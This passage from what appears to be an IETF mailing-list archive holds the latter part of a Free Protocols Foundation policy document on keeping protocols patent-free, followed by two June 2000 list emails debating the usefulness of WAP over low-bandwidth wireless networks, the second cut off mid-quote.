relating to intellectual constructs.

1.5.1   Definitions
-------------------

Throughout this document, we will use the following
terms with the meanings indicated:

  o Truly Patent-Free Protocol.  A protocol that can be
    implemented in the form of entirely patent-free
    software.  A Truly Patent-Free Protocol contains no
    limitations whatsoever on its dissemination and
    use, and may be freely implemented by anyone,
    without restriction.

  o Functionally Patent-Free Protocol.  A protocol for
    which there are either no known software patent
    restrictions, or where software patent restrictions
    are known to exist, non-restrictive usage rights
    have been obtained from the patent-holder.

  o Free Protocol Specification.  A protocol that
    conforms to the policies and procedures of the Free
    Protocols Foundation relating to patents,
    copyright, and confidentiality.  These procedures
    are set forth in Section 6.

  o Declared Patent-Free Protocol.  A protocol for
    which a declaration has been made to the Free
    Protocols Foundation that it conforms to the
    procedures of Section 6.

  o Author of a Protocol.  The individual, company or
    organization, or the set of individuals, companies
    or organizations, who are responsible for the
    creation, development, maintenance, or enhancement
    of the protocol specification.

  o Working Group.  An open-ended set of individuals or
    organizations who collectively work towards the
    creation, development, maintenance, or enhancement
    of the protocol specification.

  o Free Protocol Development Working Group.  A Working
    Group which has voluntarily elected to adhere to,
    and be bound by, the policies and procedures of the
    Free Protocols Foundation regarding patent-freedom.

  o Free Protocol Developer.  A contributor to a Free
    Protocol Development Working Group.

1.6   About the Free Protocol Policies and Procedures
-----------------------------------------------------

This document establishes a set of policies and
procedures for protocol development that is designed to
ensure, insofar as this is possible, that the resulting
protocol is functionally patent-free.  The purpose of
these procedures is to create a resulting protocol that
is either free from patent restrictions, or for which
non-restrictive usage rights have been obtained from
the patent-holder.  These procedures are set forth in
Section 6.

The procedures of Section 6 are based on a similar set
of procedures defined by the IESG (Internet Engineering
Steering Group).  Specifically, the FPF procedures are
an extension of Section 10, Intellectual Property
Rights, of RFC 2026, The Internet Standards Process --
Revision 3 [4].
That section defines the procedures to be followed by
the IETF (Internet Engineering Task Force) relating to
patent-freedom.  However, the scope of RFC 2026 is
largely limited to the needs of the IESG itself; in
particular, the patent-related procedures of Section 10
of RFC 2026 are limited to standards-track documents
and other IETF-specific purposes.  Thus, while these
patent procedures may be entirely adequate for the
needs of the IETF, they are not adequate to dealing
with patent-freedom in a more general setting.

The processes and procedures in Section 6 of this
document are therefore an extension of the RFC 2026
procedures, designed to address the need for
patent-freedom procedures in general.  They are
intended to be a set of general-purpose processes which
can be adopted by any protocol development
organization.

1.7   About this Document
-------------------------

This document is available in several alternative
formats at the Free Protocols Foundation website
(http://www.freeprotocols.org/freeProtocolProcess):

  o ONE-HTML: Displays the entire document as a single
    web page.

  o SPLIT-HTML: Displays the document as a set of
    linked web pages, starting from the Table of
    Contents.

  o PDF: Provides the document in Adobe Acrobat format.
    Note that the Adobe Acrobat Reader is required to
    read this format.  The Acrobat Reader can be
    downloaded from the Adobe website.

  o PS: Provides the document in PostScript format for
    printing.

  o Text Only:  Provides the document in text-only
    format.

2   The Protocol Development Process
====================================

Protocols come in all shapes and sizes, and from a
variety of sources.  Some are proprietary, intended for
use exclusively by their developer.  Others may be
``open'' in some sense, indicating that they are
intended for more general, public usage.  In this
context, the word ``open'' can mean any one of several
different things.  It may mean nothing more than that
the protocol has been published by its developer.  The
protocol may still be very tightly controlled:
revision of the protocol may remain the exclusive right
of the developer, the protocol may be protected by
patent or copyright restrictions, and use of the
protocol may require a licensing agreement.  This is a
very narrow, and to our mind misleading, use of the
word ``open.''

At the other extreme, the protocol may be open to a
very high degree of public accessibility:  it can be
published by an open mechanism such as RFC publication,
undergo revision by means of public working groups, and
be entirely free of usage restrictions.  A protocol
satisfying all these criteria can be said to be
``open'' in the broadest sense.  Protocols are often
referred to as ``open'' to imply that they are open in
a broad sense, whereas in fact they are open only in
the narrowest sense.

Also, protocols can have widely differing periods of
industry tenure.  Some protocols never achieve
widespread acceptance and usage, or else have very
short lifetimes before becoming obsolete or being
eclipsed by competing protocols.  Other protocols
become highly successful and persist as long-term
industry standards.

2.1   Phases of Development
---------------------------

Over its lifetime, a protocol typically goes through a
number of developmental phases.  In general, from
conception to decease, a protocol may go through some
or all of the following phases:

 1. Initial development.

 2. Global parameter assignment.

 3. Publication.

 4. Patent-free declarations.

 5. Industry usage.

 6. Maintenance and enhancement.

 7. Endorsement by a standards body.

Depending on its purpose, nature, and history, a
protocol may undergo some, all, or none of these
phases.  Also, a protocol may iterate through phases 3
- 7 multiple times, as it undergoes maturation via
repeated revision and re-publication.  As described
later, the Free Protocols Foundation plays a role in
only two of these phases.  For completeness, however,
in the following sections we provide a brief
description of each phase, along with commentary on the
FPF's philosophy regarding the protocol development
process.

2.1.1   Initial Protocol Development
------------------------------------

The conception and early development of a protocol can
take place in a variety of ways.  A traditional source
of Internet protocols is the IETF/IESG. Other sources
of protocols are private businesses, the academic
community, or even a single individual.

We believe that there is a tendency among established
standards bodies to regard their own, officially
sanctioned protocols as authoritative, while any other
protocol is of questionable worth or validity.
However, the history of protocol development does not
support this view.  Small groups of individuals have
created protocols with far-reaching consequences (e.g.
the World Wide Web), just as established standards
bodies have created protocols which failed to achieved
industry acceptance.

At the Free Protocols Foundation, we do not regard any
one source of protocols as necessarily superior to any
other.  We believe that any coordination of activities
can generate useful protocols, and we are ready to
provide the same support for patent-freedom regardless
of the initial source of the protocol.

2.1.2   Global Parameter Assignment
-----------------------------------

If necessary, global parameters must be assigned to the
protocol, e.g.  by the IANA. The Free Protocols
Foundation plays no role in this process.

2.1.3   Protocol Publication
----------------------------

If the protocol is intended to be an open protocol, as
opposed to an exclusively proprietary one, then it must
be made publicly available.  This can be accomplished
in various ways; the protocol can be self-published by
the developer, or it can be published through an
independent agency such as the Internet RFC Editor.

Ideally, the protocol should be published in a way
which allows permanent and unrestricted access to the
protocol by anyone wishing to implement it.  In the
case of Internet protocols, this is usually
accomplished by RFC publication.

2.1.4   Patent-Free Declarations
--------------------------------

Depending on their intentions, the developers of a
protocol may take steps to work towards a patent-free
result, and they may wish to make certain declarations
to that effect.

In general, there may be both an Author and a Working
Group involved in the development of a protocol.  The
Author is the person, company, or other entity that has
primary responsibility for the protocol.  In some
cases, the protocol may also undergo development at the
hands of a Working Group -- a set of independent
individuals or companies who work cooperatively on the
protocol, usually via public mailing lists.

Both the Author and the Working Group may wish to make
declarations regarding the patent-freedom of the
protocol.  The Author may wish to make an initial
declaration that the protocol is intended to be
patent-free.  As described previously, it is not
possible to make an absolute guarantee that a protocol
is, and will remain, completely patent-free.  The best
an Author can do is make a good-faith declaration that:

  o To the best of his knowledge the protocol is not
    subject to any patent restrictions.

  o It is the Author's intention to maintain the
    protocol patent-free.

  o If any patent restrictions relating to the protocol
    become known to the Author, he will make prompt
    disclosure of this.

Similarly, the Working Group may wish to make a
declaration that:

  o The protocol has been developed in such a way as to
    ensure that no patented components have been
    intentionally introduced into the protocol.

  o If any patent restrictions relating to the protocol
    become known to the Working Group, it will make
    prompt disclosure of this.

One of the roles of the Free Protocols Foundation is to
provide a public forum in which such declarations can
be made.  Any such declaration which is submitted to
the FPF will be published on our website at
http://www.FreeProtocols.org.  Examples of previously
submitted declarations may be seen at that location.

2.1.5   Industry Usage
----------------------

The ultimate test of a protocol is whether or not it
becomes widely accepted and implemented in the
industry.  If a protocol is largely unused, or eclipsed
by a competing protocol, then it is largely irrelevant.

2.1.6   Maintenance and Enhancement
-----------------------------------

Protocols are usually not static, but instead typically
undergo revision and enhancement in response to
experience and/or changing industry requirements.
Depending on the intentions of the Authors, this may
take place by closed and proprietary processes, or by
open and public ones.  In the case of a truly open
protocol, the development process should allow
commentary and participation by all the constituencies
that are affected by the protocol.

In some cases, continued development and enhancement of
the protocol is accomplished by means of a public
Working Group.  Also depending on the Authors'
intentions, the Working Group may function in a way
which preserves the patent-freedom of the protocol, and
the Working Group may wish to make a declaration to
this effect.

Two things are required in order to achieve these
goals.  First, the developers must establish and follow
a set of Working Group operating procedures that will
have the effect of preserving the patent-freedom of the
protocol.  Second, the developers must make a public
declaration that the Working Group follows these
procedures.

A developer can achieve both of these things without
the assistance of the Free Protocols Foundation.  The
development organization can establish its own set of
Working Group operating procedures, and can
independently announce that the Working Group follows
them.

However, the Free Protocols Foundation provides a means
of accomplishing these things which is external to and
independent of the development organization itself.  It
is for this purpose that the FPF primarily exists.
First, the FPF defines a clear and unambiguous set of
Working Group processes and procedures which ensure,
insofar as possible, that the resulting protocol will
remain functionally patent-free.  Any development
organization is free to adopt these procedures with
regard to its own protocol.  Second, the FPF provides
an external forum in which the developer may declare
publicly that its Working Group follows these
procedures.

The FPF Working Group procedures are designed to:

  o Ensure that no patented components can be
    intentionally introduced into the protocol as a
    result of the Working Group activities.

  o Provide remedies in the case of unintentional
    introduction of patented components into the
    protocol.  These remedies consist of prompt
    publication of the fact of the patented component,
    and an attempt to secure non-restrictive usage
    rights from the patent holder.

2.1.7   Endorsement by a Standards Body
---------------------------------------

The ultimate arbiter of protocols is the industry
itself, in which a multitude of individual decisions
leads to the acceptance or rejection of any particular
protocol.  The acceptance of a protocol as a standard
is therefore something that occurs independently of
formal endorsement by a standards body.

For example, both HTTP and HTML, the two protocols
which form the basis of world-wide Internet
communications, were developed and gained prominence
entirely independently of any formal standards body.
The same is true of Pretty Good Privacy (PGP), now a
world-wide encryption standard.  These and many other
protocols became industry standards despite lack of
endorsement by a formal standards organization.
Nevertheless, once a protocol has become accepted as an
industry standard, it is often the case that it
receives the formal sanction of a standards body.

2.2   Role of the Free Protocols Foundation
-------------------------------------------

In our model of the protocol development process, the
scope of FPF activities is limited to two items
exclusively:

  o (4) Patent-free declarations

  o (6) Maintenance and enhancement

The Free Protocols Foundation has no agenda other than
this.

Note that the role played by the FPF regarding protocol
patents is somewhat analogous to the role played by the
RFC Editor regarding protocol publication.  RFC
publication provides a means of publishing, via an
independent agency, Internet protocols which have been
produced by a variety of sources.

Similarly, the FPF represents a means of dealing with
patent issues by an independent agency.  Hitherto, this
responsibility has been taken by multiple standards
bodies, each of which has been obliged to define its
own processes and procedures relating to patents.  By
adopting the FPF procedures, a standards body or
development organization can make use of a set of
general services established by an external agency.

2.3   Comparison to Standards Organization Processes
----------------------------------------------------

2.3.1   Centralisation vs.  Decentralization of Responsibility
--------------------------------------------------------------

It is sometimes the case that many of the above phases
of development take place under the direction of a
single institution, or a group of tightly coupled
institutions.  For example, when developing protocols
the IETF/IESG/IAB traditionally claims authority for
all aspects of development except for (5), over which,
of course, it has no direct control.

At the Free Protocols Foundation, we consider it
undesirable to place control of multiple aspects of the
development process in the hands of any single
institution.  First, this can include built-in
conflicts of interest.  For example, if a standards
body is responsible both for developing protocols and
publishing protocols, the body may be inclined to favor
publication of its own protocols in preference to
competing protocols from other sources, or it may be
inclined to place inappropriate commentary within
competing protocols.  The IETF/IESG, for example, has a
history of doing both of these things.

As another example, if the Maintenance and Enhancement
responsibility is closely-held by a developing company
or group of companies, this process may be biased in
favor of the companies' interests, rather than those of
the industry at large.

Furthermore, a large spread of responsibility within a
single institution can lead to bureaucratization of its
activities; the energy of the organization can become
directed towards maintaining its internal bureaucracy,
rather than serving the needs of its consumers.  In
other words, the institution can become authority
oriented, as opposed to responsibility oriented.  The
historical evolution of the IETF/IESG/IAB is a classic
example of this.

For these reasons, the Free Protocols Foundation is in
favor of decoupling, as much as possible, the
responsibility for the various aspects of development.
A separation of powers greatly lessens the potential
for conflicts of interest.  Furthermore, an
organization with limited responsibility can be
discarded, reformed, or replaced more easily than one
with very broad responsibility.  Separation of powers
thus provides a greater degree of choice, and therefore
competition, within the protocol development process.
The Free Protocols Foundation is therefore in favor of
placing responsibility for the various phases and
aspects of development in the hands of independent
organizations with limited agendas.  We favor
delegating the Protocol Publication phase to a truly
independent third-party entity, such as the Internet
RFC Editor.  We favor handling the Maintenance and
Enhancement phase by means of a variety of truly open
public working groups, not just the IETF. Both of these
steps ensure unbiased processing of the protocol.

In the same spirit, we favor placing responsibility for
working towards patent-freedom in the hands of an
independent organization.  It is primarily for this
reason that the Free Protocols Foundation exists.  The
role of the Free Protocols Foundation is to place those
aspects of the protocol development process which
relate to patent-freedom in a common, central, public
location.  The various other aspects of the development
process have been described only to place the role of
the FPF in its proper context; the FPF plays no role in
those aspects.

2.3.2   Coordination of Activities
----------------------------------

As described in the previous section, the FPF is in
favor of distributing responsibility for the various
aspects of protocol development, rather than
consolidating all these aspects under the umbrella of a
single organization, such as the IETF.

The objection may be made, that this distribution of
responsibility creates coordination difficulties.  It
can be argued that vertically-integrated organizations
like the IETF play a valuable role in terms of
coordination of activities, and that it is more
difficult to coordinate the activities of multiple
independent organizations.  In particular, it can be
said that the IETF assists in the logical and orderly
development of multiple protocols, by establishing a
common architecture and structure for sets of related
protocols.

However, we believe that this objection is unfounded.
It has been well demonstrated, for example by the
development of Linux, that multiple independent
entities can coordinate their development efforts
extremely effectively.  In any event, the advantages to
be gained from a separation of powers certainly exceed
the drawbacks.

2.3.3   Selective vs.  Egalitarian Patent-Freedom
-------------------------------------------------

Various standards organizations share our view that
patents pose a significant danger to protocols, and
therefore include processes within their protocol
development procedures which work towards
patent-freedom.  An excellent example is provided by
the IESG protocol development procedures [4], on which
our own are based.

In general, however, these patent-free processes are
created for the standards organizations internal use,
and are not available for a protocol which is not
officially sanctioned by the organization.  To use the
IETF as an example again, its patent-free processes
apply only to IETF standards track protocols, and the
IETF exercises selectivity over which protocols it
does, or does not, place on standards track.  If the
IETF does not consider a protocol worthy of being
placed on standards track, then its patent-free
processes are not available to that protocol.

In effect, the IESG places an imprimatur of legitimacy
on some protocols, but not others.  The Free Protocols
Foundation, on the other hand, makes its patent-free
processes available to any protocol developer, without
discrimination.

This represents a fundamental difference in philosophy
and purpose between the IETF/IESG and the Free
Protocols Foundation.  We believe that the official
sanctioning of some protocols and not others is
unnecessary and without purpose.  Standards
organizations such as the IETG/IESG certainly have no
monopoly on innovation, creativity, or competence.  Any
company, organization or individual is capable of
creating protocols that become successful, far-reaching
industry standards, without the sponsorship or blessing
of a standards body.  Successful protocols such as
HTTP, PGP and many others, are examples of this.

In any event we believe that the ultimate arbiter of
any protocol is its industry usage.  Some protocols
become accepted as industry standards while others do
not, and this is something that takes place
independently of whether the protocol was created or
sanctioned by a standards body.  For these reasons we
consider that the endorsement of a protocol by placing
it on ``standards track'' is essentially without
meaning -- it is a castle in the air.

By making its processes available to all, the Free
Protocols Foundation places all protocol developers on
an equal footing regarding patent-freedom.  The success
of any protocol can then be determined on the basis of
its own merits, not on its origin or an artificial
endorsement.

3   The Free Protocols Foundation
=================================

3.1   General Philosophy
------------------------

At the Free Protocols Foundation, we consider that
patented protocols are very undesirable.  A protocol is
a general agreement within an industry that things will
be done in a certain way.  It represents an agreed-upon
expected behavior, providing common ground for
cooperation among a variety of disparate entities:
private businesses, academic institutions, government,
and individuals.  The protocol allows any of these
entities to create products, services, applications,
etc., and provides the necessary assurances that these
offerings will function and interoperate in a
well-defined way.  The protocol is a positive, enabling
force for the entire industry.

In order for the protocol to play this role, anyone who
wishes to implement and use it must be able to do so
freely, and without restrictions.  The presence of
patented components within the protocol places
restrictions on its usage, and therefore serves only to
undermine this purpose.  Furthermore, the presence of
the patent brings an enormously unfair market advantage
to the patent holder.  By exercising his patent rights,
the patent holder can gain financial benefit from
competing companies who wish to use the protocol, or
can stifle competition altogether by denying the
competing company the right to use the protocol at all.
We have no objection to companies seeking market
advantage by means which benefit the consumer and the
industry.  Such means include the creation of superior
products and services, or the exercising of legitimate
patents on physical processes.  But we strenuously
object to the seeking of market advantage by attempting
to lay claim to the protocol itself.

The presence of a patent within a protocol is at best
absurd, pointless, and self-defeating.  And at worst,
it represents an attempt by corrupt business interests
to gain market advantage at the expense of the industry
and the consumer.

3.2   Purpose, Activities and Scope
-----------------------------------

The Free Protocols Foundation is a nonprofit
corporation, incorporated in the State of Washington.
The principal purpose of the Free Protocols Foundation
is to act as an independent public forum for the
support of patent-free protocols.  We do this by means
of the following major activities:

  o By providing an independent, external forum in
    which an Author may make an initial declaration
    that a protocol is intended to be patent-free.

  o By defining a set of patent-related Working Group
    procedures which, if followed, ensure that the
    resulting protocol will remain functionally
    patent-free.  Any development organization is free
    to adopt these procedures with regard to its own
    protocols.

  o By providing an independent, external forum in
    which a Working Group may make a public declaration
    that it follows these procedures.

  o Whenever patent rights are asserted with respect to
    any protocol which has been declared patent-free to
    the FPF, by publishing a statement of the patent
    right assertion.

  o Whenever patent rights are known to exist with
    respect to a protocol which has been declared
    patent-free to the FPF, by assisting in obtaining
    from the patent-holder a non-restrictive license to
    implement the patented process as part of the
    protocol.

The scope of activities of the Free Protocols
Foundation is limited to those activities which provide
support for free protocols, and which oppose the
mis-use of patented protocols.

In particular, the Free Protocols Foundation does not
develop protocols itself, nor does it participate in
the development of the protocols of other
organizations.  The FPF does not evaluate or provide
any commentary on the technical merits of protocols.

Also, the FPF does not make any independent
verification of whether or not a developer actually
adheres to the processes and procedures of Section 6.
The FPF does no more than record the fact that the
development organization has made the declaration that
it conforms to those procedures.

3.3   Other Activities
----------------------

In addition to its activities undertaken to support the
development of patent-free protocols, the FPF may also
take actions to oppose the creation and promotion of
patented protocols.  These actions may consist of any
of the following:

  o Acting as a clearing house for information and
    articles relating to protocol patent-freedom.

  o Supporting the creation and development of
    patent-free alternative protocols to existing
    patented protocols.

  o Alerting legislators of the harmful effects of
    software and protocol patents, and lobbying for
    changes in the way software patents are granted.

  o Alerting the United States Patent and Trademark
    Office (PTO) of the harmful effects of software and
    protocol patents, and lobbying for changes in the
    way sofware patents are granted.

  o Supporting fights against invalid software patents
    in the courts.

  o Supporting boycotts of companies which abuse
    software and protocol patents.

We encourage others to join us in resisting the
granting and abuse of software and protocol patents.

4   Free Protocol Development Working Groups
============================================

It is often the case that protocols are developed, or
maintained and enhanced, by means of public Working
Groups.  A Working Group may enter into participation
at various stages in the protocol's development.

In many cases, the creation and initial development of
a protocol is done by a single Author or a small team
of core developers.  Once an initial basis for the
protocol is in place, a larger public Working Group is
then formed, which takes over responsibility for
maintenance and enhancement of the protocol.  In this
case, the Working Group begins participating at stage
(6), Maintenance and enhancement.

In other cases, a Working Group may be formed in order
to do the initial creation and development work itself.
In this case, the Working Group begins participating at
the very beginning, at stage (1), Initial development.
Working Groups typically communicate among themselves
by means of working group mailing lists, together with
occasional physical meetings as necessary.  Under these
circumstances, it is possible for a large number of
contributors to participate in the development of a
protocol.

The processes and procedures of Section 6 include
provisions whereby patent-freedom can be maintained for
a protocol despite its being developed by a public
Working Group.  These provisions consist of a set of
procedures that, if followed by the Working Group, will
keep the protocol functionally patent-free.  A key
provision is that anyone who participates in the
Working Group is required to adhere to these
procedures.  That is, the Working Group must impose
adherence to its procedures on all Working Group
contributors.

Note that the FPF does not manage Working Group mailing
lists itself, nor does it maintain a list of Working
Groups which have adopted the FPF's processes and
procedures.  Though the FPF does provide a mechanism
whereby Working Groups may make a declaration that they
conform to the FPF Working Group procedures, it does
not provide a mechanism whereby individual contributors
may make such a declaration.

The role of the FPF regarding Working Groups is limited
to that of establishing a minimal set of policies and
procedures that contributors may choose to adopt in
order to maintain a patent-free protocol.  This minimal
set of policies relates only to patents, copyright and
confidentiality.  All other procedures are at the
discretion of each individual Working Wroup.

5   Patent-Free Declarations
============================

5.1   Author's Declaration
--------------------------

Any Author may make an initial patent-free declaration
to the Free Protocols Foundation relating to a
protocol.  This declaration should include statements
to the effect that:

  o To the best of the Author's knowledge, the protocol
    is not subject to any patent restrictions.

  o It is the Author's intention to maintain the
    protocol patent-free.

  o In the event that the Author becomes aware of a
    patent right restriction relating to the protocol,
    or a patent right assertion is made with respect to
    the protocol, the Author will make prompt
    disclosure of this fact to the Free Protocols
    Foundation.

Any such statement provided to the FPF will be
published on the FPF website.  Examples of statements
previously provided to the FPF can be found in the
Author's Declarations section of the FPF website.

5.2   Working Group Declaration
-------------------------------

If a Working Group participates in the development
and/or maintenance and enhancement of a protocol, it
may make a declaration that its protocol maintenance
and enhancement procedures conform to the FPF Processes
and Procedures regarding patent-freedom.  A Working
Group may do this by providing the Free Protocols
Foundation with a statement that its protocol
development process conforms to the processes and
procedures set forth in Section 6.

Any such statement provided to the FPF will be
published on the FPF website, and the corresponding
protocol will be added to the list of those declared to
conform to the FPF's patent-free policies and
procedures.

Examples of statements previously provided to the FPF
can be found in the Free Protocols Working Group
Declarations section of the FPF website.  The list of
declared-conforming protocols is available in the List
of Free Protocols Specifications and Their Declarations
section of the FPF website.

6   Patents, Copyright and Confidentiality - Policy Statement
=============================================================

In this section we define a set of policies and
procedures which ensure that a protocol will remain
functionally patent-free.  Any Working Group is free to
make use of these procedures as part of their
development process.  A key component of these
procedures is that every member of the Working Group is
required to abide by the procedures.

6.1   Policy Statement Principles
---------------------------------

Because of the difficulties relating to software
patents described in Section 1.4, it is not possible to
be absolutely certain that a protocol is truly
patent-free.  The scope of these policies and
procedures is therefore limited to ensuring that a
protocol is patent-free as far as is practically
possible.  The purpose of the procedures is to codify
the following principles:

  o Author's Patent-Free Intent Declaration.  When a
    developer makes a patent-free declaration to the
    FPF, a key part of the declaration is that of
    intent.  That is, the declarer is making the
    statement that to the best of the declarer's
    knowledge the protocol is patent-free, and that it
    is the declarer's intention to keep it so.

  o Ongoing Patent-Free Contributions.  By becoming a
    member of a Working Group, every contributor to the
    on-going maintenance and enhancement of the
    protocol is required to adhere to principles and
    procedures which preserve patent-freedom of the
    protocol.

  o Working Group's Declaration  When a Working Group
    makes a declaration to the FPF, the effect of this
    declaration is that the Working Group's activities
    conform to a set of processes that ensure, insofar
    as possible, that the resulting protocol
    specification is functionally patent-free.

  o Patent Assertion Disclosure  If a patent assertion
    is made subsequent to the declaration, the declarer
    undertakes to make prompt announcement of this to
    the Free Protocols Foundation.  The Free Protocols
    Foundation maintains a record of all patent right
    assertions that have been made against any of its
    listed protocols.  This record is available in the
    Notices of Claimed Rights section of the FPF
    website.

  o Obtaining Non-Restrictive Usage Rights.  In the
    event that the developer becomes aware of a patent
    restriction relating to the protocol, the developer
    will attempt to obtain non-restrictive usage rights
    for the protocol.

6.2  General Policy
-------------------

In all matters of patent and confidentiality rights and
procedures, the intention of the FPF is to benefit the
Internet community and the public at large, while
respecting the legal rights of others.

6.3  Confidentiality Obligations
--------------------------------

No Free Protocol Developer shall make any contribution
to the Free Protocol Working Group that is
confidential.  No contribution that is subject to any
requirement of confidentiality or any restriction on
its dissemination shall be included in any part of a
Free Protocol Specification.

6.4   Rights and Permissions of All Contributions
-------------------------------------------------

By submission of a contribution, each person actually
submitting the contribution is deemed to agree to the
following terms and conditions on his own behalf, on
behalf of the organization (if any) he represents and
on behalf of the owners of any proprietary rights in
the contribution.  Where a submission identifies
contributors in addition to the contributor(s) who
provide the actual submission, the actual submitter(s)
represent that each other named contributor was made
aware of and agreed to accept the same terms and
conditions on his own behalf, on behalf of any
organization he may represent and any known owner of
any proprietary rights in the contribution.

 1. Some works (e.g.  works of the U.S. Government) are
    not subject to copyright.  However, to the extent
    that the submission is or may be subject to
    copyright, the contributor, the organization he
    represents (if any) and the owners of any
    proprietary rights in the contribution, grant an
    unlimited, perpetual, non-exclusive, royalty-free,
    world-wide right and license to the Free Protocols
    Foundation and the Free Protocol Working Group
    under any copyrights in the contribution.  This
    license includes the right to copy, publish and
    distribute the contribution in any way, and to
    prepare derivative works that are based on or
    incorporate all or part of the contribution, the
    license to such derivative works to be of the same
    scope as the license of the original contribution.

2. The contributor acknowledges that the Free Protocol
   Working Group and the Free Protocols Foundation
   have no duty to publish or otherwise use or
   disseminate any contribution.

3. The contributor grants permission to reference the
   name(s) and address(es) of the contributor(s) and
   of the organization(s) he represents (if any).

4. The contributor represents that the contribution
   properly acknowledges major contributors.

5. The contributor, the organization (if any) he
   represents, and the owners of any proprietary
   rights in the contribution agree that no
   information in the contribution is confidential and
   that the Free Protocol Working Group and the FPF
   may freely disclose any information in the
   contribution.

6. The contributor represents that he has disclosed
   the existence of any proprietary or patent rights
   in the contribution that are reasonably and
   personally known to the contributor.  The
   contributor does not represent that he personally
   knows of all potentially pertinent proprietary and
   patent, confidentiality and copyright rights owned
   or claimed by the organization he represents (if
   any) or third parties.

7. The contributor represents that there are no limits
   to the contributor's ability to make the grants
   acknowledgments and agreements above that are
   reasonably and personally known to the contributor.

6.5  FPF Role Regarding Free Protocol Specifications
----------------------------------------------------

 1. Where any patents, patent applications, or other
    proprietary rights are known, or claimed, with
    respect to any Free Protocol Specification, and
    brought to the attention of the FPF, the FPF shall
    prepare a note, to be included in the next revision
    of the Free Protocol Specification, indicating the
    existence of such rights, or claimed rights.

 2. The FPF encourages all interested parties to bring
    to its attention, at the earliest possible time,
    the existence of any patent rights pertaining to
    Free Protocol Specifications.

 3. Where the FPF knows of rights, or claimed rights
    under (1), the FPF shall assist the Free Protocol
    Working Group in attempting to obtain from the
    claimant of such rights, a written assurance with
    respect to the relevant protocol specification(s),
    that any party will be able to obtain the right to
    implement, use and distribute the technology or
    works when implementing, using or distributing
    technology based upon the specific specification(s)
    under openly specified, reasonable,
    non-discriminatory terms.

References
==========

[1] Free Patents. An organization concerned with
    protecting innovation & competition in the IT
    industry. See their website at
    http://www.freepatents.org.

[2] Free Software Foundation (FSF). See their website
    at http://lpf.ai.mit.edu.

[3] Some Confusing or Loaded Words and Phrases that are
    Worth Avoiding. Free Software Foundation article
    available at
    http://www.fsf.org/philosophy/words-to-avoid.html.

[4] S. Bradner. The Internet Standards Process --
    Revision 3. RFC 2026, Internet Engineering Task
    Force, October 1996. (Obsoletes RFC1602).





From owner-ietf-outbound  Wed Jun 21 16:20:36 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA12018
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 16:20:02 -0400 (EDT)
Received: from ennovatenetworks.com (ennovatenetworks.com [208.227.99.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA11921
	for <ietf@ietf.org>; Wed, 21 Jun 2000 16:13:49 -0400 (EDT)
Received: from broncos (broncos.tst.ennovatenetworks.com [10.1.1.208])
	by ennovatenetworks.com (8.8.7/8.8.7) with SMTP id QAA26376;
	Wed, 21 Jun 2000 16:12:43 -0400 (EDT)
	(envelope-from bkumar@ennovatenetworks.com)
Reply-To: <bkumar@ennovatenetworks.com>
From: "Brijesh Kumar" <bkumar@ennovatenetworks.com>
To: <moore@cs.utk.edu>, "'Taylor, Johnny'" <Johnny.Taylor@ESPIRE.NET>
Cc: "'Donald E. Eastlake 3rd'" <dee3@torque.pothole.com>, <ietf@ietf.org>
Subject: RE: IP over MIME (was Re: WAP Is A Trap -- Reject WAP) 
Date: Wed, 21 Jun 2000 16:16:40 -0400
Message-ID: <016b01bfdbbd$9ca7ae80$d001010a@tst.ennovatenetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <200006211813.OAA09861@astro.cs.utk.edu>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


Keith Moore writes:

> -----Original Message-----
>
>
> WAP might evolve into something more useful, but I don't see
> how it will
> replace IP in any sense.

One is an architecture for supporting application on diverse wireless
systems, and other is a network layer packet transport mechanism. Two
aren't even comparable.

WAP's goal is not to replace IP, but mediate between non-IP wireless
devices, and existing IP based wire line applications.

> WAP as it currently exists isn't a solution
> to any future problem - it is a solution to the problem of how to
> build a consumer information service over SMS and cell phones
> with limited displays.

No. It is a solution of how to support meaningful applications over a
wireless channel with *limited bandwidth*, and use the same
application over wide variety of radio protocols and systems without
change (or minimal change). Meaningful applications include some of
current wire line applications. The size of display has nothing to do
with it. The bottleneck is BANDWIDTH not the display size (you may
have a device that has a screen size of 1 meter by 1 meter - but that
doesn't obviate the need of devising mechanisms that better utilize
the radio spectrum.

> But cell networks are starting to deploy far better data
> delivery services than SMS (more bandwidth, less latency) and I
expect
> that cell phones will get better display capabilities along with PDA
> functionality (and likewise, PDAs will get wireless data
capability).
> Under these conditions, WAP as we know it today isn't very
> interesting.

See above. The size of display isn't the issue. Contrary to what you
say, most people who work in cellular industry think that WAP is very
interesting piece of work given the limitations of the systems that
are *widely deployed and used today*.

As far as wireless industry is concerned, the die is already cast -
WAP, BlueTooth and UMTS are three future technologies.

cheers,

--brijesh
(my personal views only.)



From owner-ietf-outbound  Wed Jun 21 16:50:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA12583
	for ietf-outbound.10@ietf.org; Wed, 21 Jun 2000 16:50:02 -0400 (EDT)
Received: from localhost.localdomain (thibault.org [207.8.144.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA12509
	for <ietf@ietf.org>; Wed, 21 Jun 2000 16:46:01 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id QAA32508
	for <ietf@ietf.org>; Wed, 21 Jun 2000 16:46:23 -0400
Sender: francis@localhost.localdomain
Message-ID: <3951299F.B20D72EA@ecal.com>
Date: Wed, 21 Jun 2000 16:46:23 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: IP over MIME (was Re: WAP Is A Trap -- Reject WAP)
References: <016b01bfdbbd$9ca7ae80$d001010a@tst.ennovatenetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Brijesh Kumar wrote:

> The size of display has nothing to do
